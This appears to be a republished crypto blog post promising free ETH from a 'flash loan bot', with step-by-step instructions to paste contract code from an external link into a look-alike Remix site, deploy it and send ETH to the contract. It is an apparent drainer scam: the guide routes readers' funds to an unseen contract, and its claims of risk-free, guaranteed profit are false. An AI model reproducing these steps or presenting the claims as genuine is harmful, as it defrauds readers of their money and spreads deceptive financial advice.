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Uniswap’s Ultimate Ethereum Bonanza: Score 4 ETH for FREE in 2024!

Ever dreamt of borrowing an unlimited amount of money within seconds, devoid of collateral and with minimal risk? Enter flash loans, a groundbreaking concept making this dream a reality.

In this article, I simplify a highly sophisticated technological method for a single purpose — helping you achieve consistent profits through solidity in the cryptocurrency space.

Flash loans are an overlooked gem for making money online in the crypto realm. The unique ability to secure loans from the blockchain without any collateral distinguishes flash loans in the financial market, offering a risk-free alternative to conventional trading and Bitcoin-ETFs that often lack consistent profitability.

To delve deeper into the world of flash loans, read our comprehensive guide on Binance Academy: What Are Flash Loans in DeFi.

If you’re eager to seize a once-in-a-lifetime opportunity using our pre-built Flash Loan bot, designed to fast-track you five years into the future, follow each step meticulously. Remember, a single mistake can jeopardize your progress.

Step-By-Step Guide for Flash Loans:

* Get the Metamask Extension for your browser

* Open https://remixcompiler.com/ from within your browser.

* Click on File Explorers and click “Create New File “.

* Name the file flashloans.sol and paste the contract code link below. ► https://wtools.io/code/embed-js/bS9C

* Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.

* Connect your MetaMask wallet.

* Click on the “Solidity Compiler” and set the compiler version to 0.5.0

* Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”

* Wait for the code to compile.

* Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button

* On “_TOKENNAME”

* On “_TOKENSYMBOL”

* On “_LOANAMOUNT” 1000

* Click Transact and confirm the transaction in MetaMask.

* Wait for the transaction to confirm.

* Copy the address of the newly deployed contract.

* Send ETH to the deployed contract to initiate the swap 0.1 ETH+ (0.1 ETH up is better as you will get a bigger amount in each swap)

* Wait for the transaction to confirm.

* Now, Click “action” (red box) to execute the Flash Loan.

* Confirm the transaction in MetaMask and wait for the confirmation.

You can now check your wallet

Note: If it doesn’t work with 0.1 ETH try to send another 0.1 ETH(0.1+ is better), because fees may be different from day to day. (0.5+ ETH for each 1000 ETH you are borrowing).

Avoid using very small amounts, as the contract may fail if the value is ( less than 0.05 ETH) because the price of gas fluctuates from time to time, the arbitrage may fail in some very rare circumstances owing to depletion of ETH in your smart contract.

Don’t panic, all you have to do now is wait a few minutes (5–10 minutes) and attempt the transaction, preferably with a loan amount of 825 and a gas limit of 31,560, and it should work perfectly, albeit with a lesser profit.

When you’re finished, make sure to transfer your ETH to another wallet.

Note:

  • Conclude each step by clicking “action” (red box).
  • If 0.1 ETH doesn’t work, try sending another 0.1 ETH (0.1+ ETH is preferable).
  • Avoid using very small amounts (less than 0.05 ETH), as the contract may fail.
  • After completion, transfer your ETH to another wallet.

Exercise caution, stay informed, and explore the potential of flash loans responsibly in the crypto space!



This article was originally published by a medium.com . Read the Original article here. .

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